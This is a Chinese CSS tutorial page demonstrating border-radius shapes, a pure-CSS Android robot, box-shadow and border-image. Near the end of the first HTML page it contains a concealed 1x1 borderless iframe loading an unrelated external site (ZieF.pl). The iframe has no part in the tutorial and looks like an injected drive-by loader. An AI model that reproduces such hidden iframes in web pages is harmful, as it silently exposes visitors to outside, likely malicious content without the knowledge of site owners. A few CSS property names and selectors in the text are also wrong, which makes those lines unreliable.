            border-right-color: transparent;
            border-radius: 90px;
        }

        /*圆右红透明色*/
        .item:nth-child(18) .border-radius {
            width: 0px;
            height: 0px;
            border-width: 90px;
            border-style: solid;
            border-color: transparent;
            border-right-color: red;
            border-radius: 90px;
        }

        /*阴阳图前世*/
        .item:nth-child(19) .border-radius {
            width: 180px;
            height: 0px;
            border-top-width: 90px;
            border-bottom-width: 90px;
            border-style: solid;
            border-top-color: red;
            border-bottom-color: green;
            /*border-right-color: red;*/
            border-radius: 90px;
        }

        /*阴阳图前世2*/
        .item:nth-child(20) .border-radius {
            width: 180px;
            height: 90px;
            border-bottom-width: 90px;
            border-style: solid;
            border-bottom-color: green;
            background-color: red;
            /*border-right-color: red;*/
            border-radius: 90px;
        }

        /*阴阳图今生*/
        .item:nth-child(21) .border-radius {
            width: 180px;
            height: 90px;
            border-bottom-width: 90px;
            border-style: solid;
            border-bottom-color: green;
            background-color: red;
            border-radius: 90px;
            position: relative;
        }

        .item:nth-child(21) .border-radius::after,
        .item:nth-child(21) .border-radius::before {
            content: '';
            position: absolute;
            top: 50%;
            width: 20px;
            height: 20px;
            /*margin: -10px 0 0 0;*/
            border-width: 35px;
            border-style: solid;
            border-radius: 45px;
        }

        /*左阴阳*/
        .item:nth-child(21) .border-radius::after {
            background-color: red;
            border-color: green;
        }

        /*右阴阳*/
        .item:nth-child(21) .border-radius::before {
            background-color: green;
            border-color: red;
            right: 0;
        }

        /*右阴阳*/
        .item:nth-child(22) .border-radius {
            width: 180px;
            height: 90px;
            border-bottom-width: 90px;
            border-bottom-color: green;
            border-bottom-style: solid;
            background-color: red;
            border-radius: 90px;
            position: relative;
        }

        .item:nth-child(22) .border-radius::after,
        .item:nth-child(22) .border-radius::before {
            content: '';
            position: absolute;
            top: 50%;
            width: 20px;
            height: 20px;
            border-width: 35px;
            border-style: solid;
            border-radius: 45px;
        }

        .item:nth-child(22) .border-radius::before {
            border-color: green;
            background-color: red;
        }

        .item:nth-child(22) .border-radius::after {
            right: 0;
            border-color: red;
            background-color: green;
        }

        /*消息框*/
        .item:nth-child(23) .border-radius {
            width: 160px;
            height: 80px;
            background-color: red;
            border-radius: 6px;
            position: relative;
        }

        .item:nth-child(23) .border-radius::after {
            content: '';
            width: 0;
            height: 0;
            border-width: 10px;
            border-style: solid;
            border-color: transparent;
            border-right-color: red;
            position: absolute;
            top: 16px;
            left: -20px;
        }

        /*奇怪的图形*/
        .item:nth-child(24) .border-radius {
            width: 40px;
            height: 40px;
            border-width: 45px 0 45px 70px;
            border-style: solid;
            border-radius: 0 0 60px 0;
            border-color: red;
        }

        /*奇怪的图形2*/
        .item:nth-child(25) .border-radius {
            width: 100px;
            height: 40px;
            border-width: 45px 20px 45px 70px;
            border-style: solid;
            border-radius: 60px;
            border-color: red;
        }

        /*QQ对话*/
        .item:nth-child(26) .border-radius {
            width: 160px;
            height: 80px;
            background-color: red;
            border-radius: 6px;
            position: relative;
        }

        .item:nth-child(26) .border-radius::after {
            content: '';
            position: absolute;
            top: 0;
            right: -20px;
            width: 30px;
            height: 30px;
            border-width: 0 0 30px 30px;
            border-style: solid;
            border-bottom-color: red;
            border-left-color: transparent;
            border-radius: 0 0 60px 0;
        }

        /*圆角的百分比设置 */
        .item:nth-child(27) .border-radius {
            width: 180px;
            /*height: 180px;*/
            height: 90px;
            border-radius: 50%;
            border-radius: 90px/45px;

            /*百分比是按横竖两个对应的方向的长度进行计算*/
        }

    </style>
</head>
<body>
<div class="wrapper">
    <header>
        <h3>图形展示</h3>
    </header>
    <div class="main">
        <div class="item" data-brief="整圆">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="拱形">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="半圆">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="左上角">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="四分之一圆">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="横着的椭圆">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="竖着的椭圆">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="半个横着的椭圆">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="半个竖着的椭圆">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="四分之一竖着的椭圆">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="饼环">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="圆饼">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="左上角圆饼">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="对角圆饼">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="四边不同色">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="右透明色">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="圆右透明色">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="圆右红透明色">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="阴阳图前世">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="阴阳图前世2">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="阴阳图今生">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="阴阳图今生2">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="消息框">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="奇怪的图形">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="奇怪的图形2">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="QQ对话">
            <div class="border-radius"></div>
        </div>
        <div class="item" data-brief="圆角百分比">
            <div class="border-radius"></div>
        </div>
    </div>
</div>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

用CSS实现安卓机器人

所用的技术就是伪类::before和::before，以及定位，圆角 border-radius
实现效果如下：

实现代码如下：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>安卓机器人</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            background-color: #F7F7F7;
        }
        .board{
            width: 600px;
            height: 440px;
            margin: 80px auto;
            background-color: #FFFFFF;
        }
        .android{
            width: 340px;
            padding-top: 40px;
            margin: 0 auto;
            position: relative;
        }
        /*头部*/
        .head{
            width: 220px;
            height: 100px;
            margin: 0 auto 10px;
            border-radius: 100px 100px 0 0;
            background-color: #A4CA39;
            position: relative;
        }
        /*眼镜*/
        .head::before,.headC{
            content: '';
            display: block;
            width: 20px;
            height: 20px;
            background-color: #FFFFFF;
            border-radius: 10px;
            position: absolute;
            top: 40px;
        }
        .head::before{
            left: 50px;
        }
        .head::after{
            right: 50px;
        }
        /*身体*/
        .body{
            width: 220px;
            height: 180px;
            margin: 0 auto;
            background: #A4CA39;
            border-radius: 0 0 20px 20px;
            position: relative;
        }
        /*腿*/
        .body::before,.body::after{
            content: '';
            display: block;
            width: 50px;
            height: 80px;
            background: #A4CA39;
            border-radius: 0 0 25px 25px;
            position: absolute;
            bottom: -80px;
        }
        .body::before{
            left: 40px;
        }
        .body::after{
            right: 40px;
        }
        /*胳膊*/
        .arms{
            width: 340px;
            height: 150px;
            position: absolute;
            top: 150px;
        }
        .arms::before,.arms::after{
            content: '';
            display: block;
            width: 50px;
            height: 150px;
            background-color: #A4CA39;
            border-radius: 25px;
            position: absolute;
        }
        .arms::before{
            left: 0;
        }
        .arms::after{
            right: 0;
        }
    </style>
</head>
<body>
<div class="board">
    <div class="android">
        <div class="head"></div>
        <div class="body"></div>
        <div class="arms"></div>
    </div>
</div>
</body>
</html>

边框圆角

border-radius每个角可以设置两个值 ，x 值，y值。

边框阴影

box-shadow 与 text/shadow 用法差不多
取值：
1、水平偏移量， 正值向右 负值向左；
2、垂直偏移量， 正值向下 负值向上；
box-shadow: 5px 5px 27px red, -5px -5px 27px green;
3、模糊度是不能为负值；
4、inset可以设置内阴影；
设置边框阴影不会改变盒子的大小，即不会影响其兄弟元素的布局。
可以设置多重边框阴影，实现更好的效果，增强立体感。

边框图片

border-image: url("images/border.png") 27/20px round
border-image 设置边框的背景图片.
border-image-source:url(“”) 设置边框图片的地址.
border-image-slice:27,27,27,27浏览器会自动去裁剪图片.
border-image-width:20px;指定边框的宽度.
边框平铺的样式 border-image-repeat
stretch 拉升
round 会自动调整缩放比例
repeat重复
设置的图片将会被“切割”成九宫格形式，然后进行设置。
“切割”完成后生成虚拟的9块图形，然后按对应位置设置背景，
其中四个角位置、形状保持不变，中心位置水平垂直两个方向平铺。
提示：
1、round和repeat之间的区别

• round 会自动调整尺寸，完整显示边框图片。
• repeat 单纯平铺多余部分，会被“裁切”而不能完整显示。

2、更改裁切尺寸

• background-slice: 34 36 27 27 分别设置裁切

关于边框图片重点理解9宫格的裁切及平铺方式，实际开发中应用不广泛，但是如能灵活动用会给我们带来不少便利。